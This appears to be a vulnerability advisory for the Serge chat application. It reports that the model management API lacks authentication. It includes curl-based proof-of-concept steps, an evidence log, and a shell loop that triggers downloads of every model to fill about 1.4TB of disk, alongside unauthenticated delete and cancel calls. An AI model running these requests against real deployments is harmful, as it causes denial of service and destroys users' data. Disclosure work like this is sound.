YLChen-007 / **ISSUE-Github-REPORT-unauthenticated-model-api.md** Secret

Created last month

Code Revisions 1

Unauthenticated Access to All Model Management Endpoints Allows Disk Exhaustion and Data Destruction

ISSUE-Github-REPORT-unauthenticated-model-api.md

Advisory Details

Title: Unauthenticated Access to All Model Management Endpoints Allows Disk Exhaustion and Data Destruction

Description:

Summary

All model management API endpoints (`/api/model/*`) lack authentication, allowing any unauthenticated remote attacker to trigger arbitrary model downloads (consuming up to 1.4TB of disk space), delete installed models, and cancel legitimate downloads. The `chat_router` correctly requires authentication via `get_current_active_user`, but the `model_router` was never updated when user management was introduced.

Details

When user management was added in commit `8083360`, the `chat_router` was correctly updated to require authentication:

```
# api/src/serge/routers/chat.py — protected
@chat_router.get("/")
async def get_all_chats(u: User = Depends(get_current_active_user)):
```

However, the entire `model_router` was left without any authentication dependency. All 6 endpoints are completely unprotected:

```
# api/src/serge/routers/model.py — NOT protected
@model_router.post("/{model_name}/download")
async def download_model(model_name: str):  # No Depends(get_current_active_u
    ...

@model_router.delete("/{model_name}")
async def delete_model(model_name: str):  # No Depends(get_current_active_use
    ...
```

The download function also has no disk space check ahead of the download, sets an unlimited timeout (`aiohttp.ClientTimeout(total=None)` at line 149), and has no concurrent download guard — repeatedly calling `POST /download` for the same model orphans previous download tasks which continue consuming bandwidth and disk.

PoC

Prerequisites: A running Serge instance (default `docker compose up -d`).

Step 1: Enumerate all 63 available models without authentication

```
curl -s http://localhost:8008/api/model/all | python3 -c "
import json,sys
data = json.load(sys.stdin)
print(f'Models: {len(data)}')
for m in sorted(data, key=lambda x: x['size'])[:3]:
    print(f'  {m[\"name\"]}: {m[\"size\"]/1e9:.1f}GB')
"
```

Step 2: Trigger a model download without authentication

```
curl -X POST http://localhost:8008/api/model/Zephyr-3B/download &
sleep 4
curl -s http://localhost:8008/api/model/Zephyr-3B/download/status
# Returns: 0.5 (download in progress, 0.5% complete)
```

Step 3: Verify disk write inside container

```
docker exec serge ls -la /usr/src/app/weights/
# Shows: .Zephyr-3B.bin (9.6MB written in 4 seconds)
```

Step 4: Cancel the download (also unauthenticated)

```
curl -X POST http://localhost:8008/api/model/Zephyr-3B/download/cancel
# Returns: {"message":"Download for Zephyr-3B cancelled"}
```

Disk Exhaustion Attack (triggers all models, ~1.4TB total):

```
for m in $(curl -s http://localhost:8008/api/model/all | python3 -c "import j
  curl -s -X POST "http://localhost:8008/api/model/$m/download" &
done
```

Log of Evidence

```
=== Enumerate models (no auth) ===
$ curl -s http://localhost:8008/api/model/all | python3 -c "..."
Total models: 63
  Zephyr-3B: 1.7GB, Phi-2: 1.8GB, Open_LLaMA-3B-v2: 2.6GB ...

=== Trigger download (no auth) ===
$ curl -X POST http://localhost:8008/api/model/Zephyr-3B/download &
(download started)

=== Verify disk write ===
$ docker exec serge ls -la /usr/src/app/weights/
-rw-r--r-- 1 root root 9641917 Mar  5 13:17 .Zephyr-3B.bin

=== Download status (no auth) ===
$ curl -s http://localhost:8008/api/model/Zephyr-3B/download/status
0.5

=== Cancel download (no auth) ===
$ curl -X POST http://localhost:8008/api/model/Zephyr-3B/download/cancel
{"message":"Download for Zephyr-3B cancelled"}

=== After cancel ===
$ docker exec serge ls -la /usr/src/app/weights/
total 12
(empty — temp file cleaned up)
```

Impact

- **Disk Exhaustion DoS**: An attacker can trigger downloads of all 63 models simultaneously (~1.4TB total), filling the server's disk and potentially crashing the Docker container or host system.

- **Data Destruction**: An attacker can delete any installed model file via `DELETE /api/model/{name}`, causing immediate service disruption for all users. Re-downloading models takes hours.
- **Download Interference**: An attacker can cancel legitimate downloads initiated by authorized users.
- **Bandwidth Amplification**: Repeated download requests orphan previous tasks, creating N concurrent downloads of the same model, amplifying bandwidth and disk consumption.

Affected products

- **Ecosystem**: pip
- **Package name**: serge-chat/serge
- **Affected versions**: All versions since commit `8083360` (User Management added) through current HEAD (`3cb250c`)
- **Patched versions**: None

Severity

- **Severity**: High
- **Vector string**: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:H

Weaknesses

- **CWE-306**: Missing Authentication for Critical Function
- **CWE-400**: Uncontrolled Resource Consumption

Occurrences

Permalink
https://github.com/serge-chat/serge/blob/3cb250c48286d644fd1e73e8a47cbacb60be6e21/api/src/serge/routers/mL122
https://github.com/serge-chat/serge/blob/3cb250c48286d644fd1e73e8a47cbacb60be6e21/api/src/serge/routers/mL134
https://github.com/serge-chat/serge/blob/3cb250c48286d644fd1e73e8a47cbacb60be6e21/api/src/serge/routers/m

Permalink
L168
https://github.com/serge-chat/serge/blob/3cb250c48286d644fd1e73e8a47cbacb60be6e21/api/src/serge/routers/mL199
https://github.com/serge-chat/serge/blob/3cb250c48286d644fd1e73e8a47cbacb60be6e21/api/src/serge/routers/mL246
https://github.com/serge-chat/serge/blob/3cb250c48286d644fd1e73e8a47cbacb60be6e21/api/src/serge/routers/m